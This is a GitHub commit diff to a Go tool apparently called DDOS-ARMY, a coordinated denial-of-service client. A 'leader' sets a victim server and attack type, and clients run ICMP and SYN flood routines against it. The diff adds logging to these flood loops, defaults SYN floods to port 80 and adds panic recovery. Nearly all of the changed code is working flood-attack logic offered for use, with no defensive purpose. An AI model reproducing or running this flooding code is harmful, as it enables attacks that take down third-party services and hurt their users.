Skip to content

Commit

Permalink
add logs to log channel
Browse files Browse the repository at this point in the history
  • Loading branch information
MahdiAw committed Apr 12, 2023
1 parent f2bce17 commit bb39844
Show file tree
Hide file tree
Showing 4 changed files with 46 additions and 18 deletions.
15 changes: 15 additions & 0 deletions client/client.go
Expand Up @@ -125,6 +125,14 @@ func (l *Leader) UpdateCampSettings(settings CampSettings) error {
}

func (c *Client) ListenAndDo(ChangedDataChan chan CampAPI, logChan chan string) {
defer func() {
if r := recover(); r != nil {
//clear screen
fmt.Print("\033[H\033[2J")
color.Red("Dispatcher server is stopped")
os.Exit(0)
}
}()
prevCmp := c.GetCamp()
ChangedDataChan <- prevCmp
stopchan := make(chan bool, 1)
Expand Down Expand Up @@ -206,6 +214,13 @@ func (l *Leader) Shutdown() error {
return errors.New("error in shutting down")
}
func (l *Leader) ListenChangeView(changedDataChan chan CampAPI) {
defer func() {
if r := recover(); r != nil {

color.Red("Dispatcher server is stopped")
os.Exit(0)
}
}()
prevCamp := l.GetCamp()
changedDataChan <- prevCamp
for {
Expand Down
38 changes: 21 additions & 17 deletions client/doscore.go
@@ -1,8 +1,6 @@
package client

import (
"fmt"
"github.com/fatih/color"
"golang.org/x/net/icmp"
"golang.org/x/net/ipv4"
"net"
Expand All @@ -17,9 +15,7 @@ func StartAttack(victim string, ddosType string, stopchan chan bool, logChan cha
ip := strings.Split(victim, ":")[0]
go ICMPFlood(ip, stopchan, logChan)
} else if ddosType == "SYN" {
go SYNFlood(victim, stopchan)
} else if ddosType == "ACK" {
go ACKFlood(victim)
go SYNFlood(victim, stopchan, logChan)
}
}
func ICMPFlood(victim string, stopChan chan bool, logChan chan string) {
Expand All @@ -31,8 +27,10 @@ func ICMPFlood(victim string, stopChan chan bool, logChan chan string) {
// open a connection to the server
conn, err := net.DialIP("ip4:icmp", nil, ipAddr)
if err != nil {
color.Red("Error Dialing : %s", err)
return
if strings.Contains(err.Error(), "permitted") {
logChan <- "You don't have permission\n to send ICMP packets"
return
}
}
defer conn.Close()

Expand All @@ -41,7 +39,7 @@ func ICMPFlood(victim string, stopChan chan bool, logChan chan string) {
select {
case isStop := <-stopChan:
if isStop {
logChan <- "Stopping attack"
logChan <- "Stopping the attack"
stopChan <- false
return
}
Expand All @@ -57,6 +55,7 @@ func ICMPFlood(victim string, stopChan chan bool, logChan chan string) {
blocked = true
//wait for 1 second
time.Sleep(1 * time.Second)
logChan <- "freezing, your network\n buffer is full"
blocked = false
}
}
Expand Down Expand Up @@ -96,15 +95,24 @@ func SendICMP(message *icmp.Message, conn *net.IPConn) error {
return nil
}

func SYNFlood(victim string, stop chan bool) {
func SYNFlood(victim string, stopChan chan bool, logChan chan string) {
var maxChannelsNb = 20
var channels = make(chan struct{}, maxChannelsNb)
//check if port is specified
if !strings.Contains(victim, ":") {
victim = victim + ":80"
logChan <- "leader does not specify port\n using port 80"
}

for {
channels <- struct{}{}
select {
case <-stop:
<-stop
return
case isStop := <-stopChan:
if isStop {
logChan <- "Stopping attack"
stopChan <- false
return
}
default:
go func() {
conn, err := net.Dial("tcp", victim)
Expand All @@ -116,14 +124,10 @@ func SYNFlood(victim string, stop chan bool) {
}
}
if err != nil {
fmt.Println("Error:", err)
logChan <- "error sending SYN flood request"
}
<-channels
}()
}
}
}

func ACKFlood(server string) {
//SOON
}
5 changes: 4 additions & 1 deletion client/leaderView.go
Expand Up @@ -199,6 +199,7 @@ func (l *Leader) StartLeaderView(changedDataChan chan CampAPI, logChan chan stri
switch v.ControlDash.SelectedRow {
case 0:
go func() {

err := l.UpdateCampSettings(CampSettings{Status: "attacking"})
if err != nil {
return
Expand Down Expand Up @@ -226,7 +227,6 @@ func (l *Leader) StartLeaderView(changedDataChan chan CampAPI, logChan chan stri
}
cmp := l.GetCamp()
changedDataChan <- cmp

}
if prev == "SYN" {
err := l.UpdateCampSettings(CampSettings{DDOSType: "ICMP"})
Expand All @@ -235,6 +235,9 @@ func (l *Leader) StartLeaderView(changedDataChan chan CampAPI, logChan chan stri
}
cmp := l.GetCamp()
changedDataChan <- cmp
if cmp.Settings.DDOSType == "SYN" && !strings.Contains(cmp.Settings.VictimServer, ":") {
logChan <- "no port specified SYN\n, use port 80"
}
}
}()
case 4:
Expand Down
6 changes: 6 additions & 0 deletions main.go
Expand Up @@ -2,8 +2,14 @@ package main

import (
"github.com/XORbit01/DDOS-ARMY/cmd"
"github.com/fatih/color"
)

func main() {
defer func() {
if r := recover(); r != nil {
color.Red("Something went wrong: %v", r)
}
}()
cmd.Execute()
}

0 comments on commit bb39844

Please sign in to comment.